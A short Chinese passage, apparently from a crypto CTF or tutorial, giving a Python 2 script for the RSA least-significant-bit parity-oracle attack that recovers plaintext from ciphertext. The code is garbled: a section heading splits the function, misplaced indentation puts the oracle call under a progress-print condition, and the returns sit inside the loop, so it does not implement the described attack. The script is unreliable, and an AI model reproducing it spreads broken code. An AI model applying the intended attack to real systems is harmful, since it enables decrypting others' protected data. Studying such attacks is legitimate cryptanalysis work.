这里仅给出精确还原的脚本，其正确性和完备性证明可参见[A Novel Algorithm for Exploiting RSA Plain's LSB Oracle][1]。

```
1. def crack(n, e, c):
2.     rounds = int(math.ceil(math.log(n, 2)))
3.     d = pow(2, e, n)
4.     cc = c
5.     eigenvalue = 0
6.     for i in range(rounds):
7.         if i % 256 == 0:
8.             print i
9.             cc = (cc * d) % n
10.            parity = getParity(cc) #parity oracle返回明文
```

### 奇偶性

```
11.         eigenvalue = (eigenvalue << 1) + parity
12.         if eigenvalue == 0:
13.             return 0
14.         else:
15.             return n * eigenvalue / pow(2, rounds) + 1
```